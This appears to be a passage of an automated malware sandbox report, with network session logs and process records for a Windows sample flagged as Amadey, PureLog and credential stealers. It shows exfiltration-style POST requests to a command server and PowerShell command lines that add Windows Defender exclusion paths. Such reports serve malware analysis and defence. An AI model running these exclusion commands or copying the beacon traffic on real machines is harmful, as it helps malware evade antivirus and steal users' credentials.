2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 4e 59 6f 39 36 74 2b 77 4b 30 54 36 4f 51 74 57 4a 53 38 4f 54 71 35 30 6a 69 61 47 30 44 46 31 4d 68 47 63 30 46 4a 34 71 50 49 31 6d 57 77 69 33 4c 4d 76 68 50 79 74 78 4e 57 6c 70 41 78 4b 2b 2f 4f 43 4e 64 4b 52 70 4f 66 6e 54 38 6b 51 55 6e 32 6f 38 6a 57 58 37 43 64 64 76 6d 72 42 66 66 6d 56 68 75 64 70 48 35 30 75 66 4e 48 78 6c 68 66 33 4a 75 42 51 53 70 5a 56 39 43 6a 6d 34 42 33 70 34 68 6a 33 61 55 59 37 35 68 59 41 38 37 67 62 48 36 72 6e 78 69 55 52 48 43 52 31 4a 45 2f 4d 6a 68 58 72 76 58 51 7a 69 4c 35 79 32 65 57 38 46 53 35 70 51 70 4a 6e 4c 45 6f 4c 37 37 7a 4f 66 4e 4e 52 64 69 45 6c 32 68 6c 51 51 43 75 37 4e 44 4f 53 66 65 43 63 73 32 35 41 76 4f 32 48 78 75 6c 2f 48 34 30 75 5a 56 48 34 56 68 42 30 5a 4f 47 62 69 63 6d 57 4f 54 6b Data Ascii: NYo96t+wK0T6OQtWJS8OTq50jiaG0DF1MhGc0FJ4qPI1mWwi3LMvhPytxNWlpAxK+/OCNdKRpOfnT8kQUn2o8jWX7CddvmrBffmVhudpH50ufNHxlhf3JuBQSpZV9Cjm4B3p4hj3aUY75hYA87gbH6rnxiURHCR1JE/MjhXrvXQziL5y2eW8FS5pQpJnLEoL77zOfNNRdiEl2hlQQCu7NDOSfeCcs25AvO2Hxul/H40uZVH4VhB0ZOGbicmWOTk
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 61 47 65 70 71 6d 48 2f 36 68 43 45 32 42 2f 6a 59 76 34 39 63 35 36 6e 42 44 32 5a 4f 4b 65 47 77 6e 62 71 36 74 30 4a 6b 77 37 37 49 31 6e 75 67 72 73 4f 59 41 47 38 4c 79 43 79 2f 33 77 77 44 43 53 67 4c 33 74 36 70 46 4b 43 31 4a 2b 36 47 6b 6b 57 43 6d 67 48 6a 61 36 46 71 2b 6f 46 67 44 79 76 78 2b 4b 4f 69 4e 58 34 51 4a 46 49 72 48 78 79 38 34 48 67 44 33 6f 34 62 57 4b 4f 58 46 4e 63 54 6f 54 4c 37 68 47 30 6d 49 74 44 30 36 2b 6f 6f 35 36 6e 78 42 32 4a 57 47 62 33 30 4f 63 4e 44 32 6b 35 68 2b 73 4a 31 6b 6c 75 5a 55 38 65 5a 41 59 74 72 36 66 68 4f 33 6a 52 2b 55 41 77 2f 71 6c 35 35 78 62 52 64 66 6f 38 53 65 6b 58 47 68 6d 32 4c 5a 36 46 71 2b 6f 46 67 44 79 50 78 2b 4b 4f 69 4e 58 34 51 4a 46 49 72 48 78 79 38 34 48 67 44 33 6f 34 62 57 4b Data Ascii: aGepqmH/6hCE2B/jYv49c56nBD2ZOKeGwnbq6t0Jkw77I1nugrsOYAG8LyCy/3wwDCSgL3t6pFKC1J+6GkkWCmgHja6Fq+oFgDyvx+KOiNX4QJFIrHxy84HgD3o4bWKOXFNcToTL7hG0mItD06+oo56nxB2JWGb30OcND2k5h+sJ1kluZU8eZAYtr6fhO3jR+UAw/ql55xbRdfo8SekXGhm2LZ6Fq+oFgDyPx+KOiNX4QJFIrHxy84HgD3o4bWK
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 5a 72 31 62 65 6f 51 35 59 32 76 78 2b 49 4c 6d 56 52 39 56 52 58 39 4b 62 6c 7a 4e 74 47 30 6d 75 72 64 43 59 4d 4f 2f 4c 64 4e 79 34 47 66 47 68 56 46 32 55 76 48 34 7a 74 39 52 48 77 68 73 58 6a 4e 72 51 62 53 70 5a 44 71 6e 67 67 6f 52 32 74 4a 31 32 6b 5a 59 71 30 37 51 66 53 35 6e 77 44 79 48 39 32 78 4c 58 53 30 6a 68 71 72 31 74 62 52 46 4e 72 4e 4b 47 6c 58 43 35 6a 44 57 59 36 41 79 2b 2f 6c 68 32 69 4c 55 75 4c 37 6d 44 52 39 67 62 46 35 2b 5a 67 6e 68 36 41 67 4c 70 2b 5a 66 57 62 2f 6d 53 4e 63 44 6f 54 4b 33 6f 57 45 6e 61 36 6e 35 72 39 38 41 47 31 31 56 4d 7a 59 61 57 66 48 77 43 43 64 44 64 76 59 52 33 70 34 67 33 35 36 55 51 36 4c 4d 62 53 35 32 4d 41 41 48 72 79 68 66 58 47 57 50 59 6d 5a 78 42 56 44 5a 66 36 66 50 53 73 48 4f 68 69 44 Data Ascii: Zr1beoQ5Y2vx+ILmVR9VRX9KblzNtG0murdCYMO/LdNy4GfGhVF2UvH4zt9RHwhsXjNrQbSpZDqnggoR2tJ12kZYq07QfS5nwDyH92xLXS0jhqr1tbRFNrNKGlXC5jDWY6Ay+/lh2iLUuL7mDR9gbF5+Zgnh6AgLp+ZfWb/mSNcDoTK3oWEna6n5r98AG11VMzYaWfHwCCdDdvYR3p4g356UQ6LMbS52MAAHryhfXGWPYmZxBVDZf6fPSsHOhiD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49959	172.67.180.113	443	7180	C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:56 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UCUVNWGD0C26NHF4RJU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: treehoneyi.click
2024-12-20 12:12:56 UTC	12840	OUT	Data Raw: 2d 2d 55 43 55 56 4e 57 47 44 30 43 32 36 4e 48 46 34 52 4a 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 43 55 56 4e 57 47 44 30 43 32 36 4e 48 46 34 52 4a 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 43 55 56 4e 57 47 44 30 43 32 36 4e 48 46 34 52 4a 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 6c 6f Data Ascii: --UCUVNWGD0C26NHF4RJUContent-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--UCUVNWGD0C26NHF4RJUContent-Disposition: form-data; name="pid"2--UCUVNWGD0C26NHF4RJUContent-Disposition: form-data; name="lid"rAGxSF--lo
2024-12-20 12:12:57 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pu9kif4n27n115ngqo5oht4sjl; expires=Tue, 15 Apr 2025 05:59:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YDJHP%2BZhfIReCFONvbCsifrJDJCFyedsjn%2BRPdZpNZriQ8SsyWeQzPktIVpPr3leRyPEDDUfeMRC6B7h8Wl5%2BSLnqOfWpi7RbG3bI0EP%2BdO9HrgxwLWcapEHI%2FULSPu2iNRx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8b237bb042c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2457&min_rtt=2364&rtt_var=1073&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2841&recv_bytes=13781&delivery_rate=938303&cwnd=149&unsent_bytes=0&cid=566916fbb78ebb1a&ts=1064&x=0"
2024-12-20 12:12:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:12:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49966	172.67.180.113	443	7180	C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:58 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SLSWRXXDD8XMW1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15052 Host: treehoneyi.click
2024-12-20 12:12:58 UTC	15052	OUT	Data Raw: 2d 2d 53 4c 53 57 52 58 58 44 44 38 58 4d 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 4c 53 57 52 58 58 44 44 38 58 4d 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 4c 53 57 52 58 58 44 44 38 58 4d 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 6c 6f 61 64 0d 0a 2d 2d 53 4c 53 57 52 58 58 44 44 Data Ascii: --SLSWRXXDD8XMW1Content-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--SLSWRXXDD8XMW1Content-Disposition: form-data; name="pid"2--SLSWRXXDD8XMW1Content-Disposition: form-data; name="lid"rAGxSF--load--SLSWRXXDD
2024-12-20 12:12:59 UTC	1118	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gj5g18ujo7nehrjrtomglif7e8; expires=Tue, 15 Apr 2025 05:59:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oJLUKRXhOk338FbY0GJIq6PVQZ1Nywb9A0PdJnFxkmZLUhxPWHwK3gfuwzHCI0At7eDQnuTZHRI2HiCgcpX131PR5ea82kyCeb3mfsov7NnC7ZyQxwX7ueWgrPPNOyIoo9vi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8b33fe5fc468-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1633&rtt_var=622&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15988&delivery_rate=1747456&cwnd=235&unsent_bytes=0&cid=3ee8d377617d49f6&ts=913&x=0"
2024-12-20 12:12:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:12:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49973	172.67.180.113	443	7180	C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:13:01 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0D2DTC1DF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20512 Host: treehoneyi.click
2024-12-20 12:13:01 UTC	15331	OUT	Data Raw: 2d 2d 30 44 32 44 54 43 31 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 44 32 44 54 43 31 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 44 32 44 54 43 31 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 6c 6f 61 64 0d 0a 2d 2d 30 44 32 44 54 43 31 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --0D2DTC1DFContent-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--0D2DTC1DFContent-Disposition: form-data; name="pid"3--0D2DTC1DFContent-Disposition: form-data; name="lid"rAGxSF--load--0D2DTC1DFContent-Dispo
2024-12-20 12:13:01 UTC	5181	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 82 b9 Data Ascii: un 4F([:7s~X`nO`i`
2024-12-20 12:13:02 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0hj0fp72nvnta6eg4cse8djqk1; expires=Tue, 15 Apr 2025 05:59:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FSVWnw287dphz4JcLjlt69qOG4vhhdE10%2FQGLE3lyQu4NqbOXCDtIm1tNreAYPYCnDGeU%2B%2B6jutPCtAqMGZW9om5tmmfzl%2FBUdCfV29CD7KBYBqCMfYYgHdRCgPcRtRyfzt%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8b4468124219-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&min_rtt=1606&rtt_var=610&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21465&delivery_rate=1782661&cwnd=193&unsent_bytes=0&cid=b11782f3d619127a&ts=1076&x=0"
2024-12-20 12:13:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:13:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:10:56
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x10000
File size:	3'016'192 bytes
MD5 hash:	BCA5EC4FFD71FA455F22D475BA23ABC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2047714136.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:10:59
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x260000
File size:	3'016'192 bytes
MD5 hash:	BCA5EC4FFD71FA455F22D475BA23ABC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2078633722.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:10:59
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x260000
File size:	3'016'192 bytes
MD5 hash:	BCA5EC4FFD71FA455F22D475BA23ABC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2077576226.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:12:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x260000
File size:	3'016'192 bytes
MD5 hash:	BCA5EC4FFD71FA455F22D475BA23ABC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2684132503.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:12:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"
Imagebase:	0x850000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:12:16
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"
Imagebase:	0x8a0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:12:27
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe"
Imagebase:	0x710000
File size:	4'480'512 bytes
MD5 hash:	B6AA4B3886F2272B307DF8DEE7426A4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:12:34
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"
Imagebase:	0xa10000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:12:34
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:12:38
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"
Imagebase:	0xa10000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:12:41
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe"
Imagebase:	0x460000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3288177248.0000000003B40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3288177248.0000000003B00000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 28%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe"
Imagebase:	0x9a0000
File size:	22'016 bytes
MD5 hash:	04F57C6FB2B2CD8DCC4B38E4A93D4366
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 18%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	07:12:47
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	07:12:49
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu"
Imagebase:	0xc0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:12:49
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:12:55
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0xc0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:12:55
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:12:59
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe"
Imagebase:	0xea0000
File size:	4'467'712 bytes
MD5 hash:	C56FED47E77D1B3103C94496F1371878
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	753
